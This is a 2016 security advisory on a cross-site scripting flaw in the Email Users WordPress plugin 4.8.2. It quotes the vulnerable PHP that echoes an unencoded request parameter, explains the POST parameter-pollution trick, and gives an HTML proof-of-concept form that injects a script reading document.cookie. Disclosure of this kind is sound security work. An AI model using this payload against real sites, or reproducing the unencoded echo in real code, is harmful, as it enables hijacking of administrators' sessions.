WordPress Email Users 4.8.2 Cross Site Scripting
Posted on 13 July 2016
------------------------------------------------------------------------ Cross-Site Scripting vulnerability in Email Users WordPress Plugin ------------------------------------------------------------------------ Yorick Koster, July 2016 ------------------------------------------------------------------------ Abstract ------------------------------------------------------------------------ A Cross-Site Scripting vulnerability was found in the Email Users WordPress Plugin. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf. In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website. ------------------------------------------------------------------------ OVE ID ------------------------------------------------------------------------ OVE-20160712-0012 ------------------------------------------------------------------------ Tested versions ------------------------------------------------------------------------ This issue was successfully tested on Email Users WordPress Plugin version 4.8.2. ------------------------------------------------------------------------ Fix ------------------------------------------------------------------------ This issue is resolved in Email Users version 4.8.3. ------------------------------------------------------------------------ Details ------------------------------------------------------------------------ https://sumofpwn.nl/advisory/2016/cross_site_scripting_vulnerability_in_email_users_wordpress_plugin.html The issue exists in the file email_users_user_settings.php and is caused by the lack of output encoding on the page request parameter. The vulnerable code is listed below. <form id="email-users-filter" method="get"> <!-- For plugins, we also need to ensure that the form posts back to our current page --> <input type="hidden" name="page" value="<?php echo $_REQUEST['page'] ?>" /> <!-- Now we can render the completed list table --> <?php $mailusersListTable->search_box(__('Search', MAILUSERS_I18N_DOMAIN), 'search_id'); ?> <?php $mailusersListTable->display() ; ?> </form> Normally, the page URL parameter is validated by WordPress, which prevents Cross-Site Scripting. However in this case the value of page is obtained from $_REQUEST, not from $_GET. This allows for parameter pollution where the attacker puts a benign page value in the URL and simultaneously submits a malicious page value as POST parameter. Proof of concept <html> <body> <form action="http://<target>/wp-admin/admin.php?page=mailusers-user-settings" method="POST"> <input type="hidden" name="page" value=""<script>alert(document.cookie);</script>" /> <input type="submit" value="Submit request" /> </form> </body> </html> ------------------------------------------------------------------------ Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its goal is to contribute to the security of popular, widely used OSS projects in a fun and educational way.
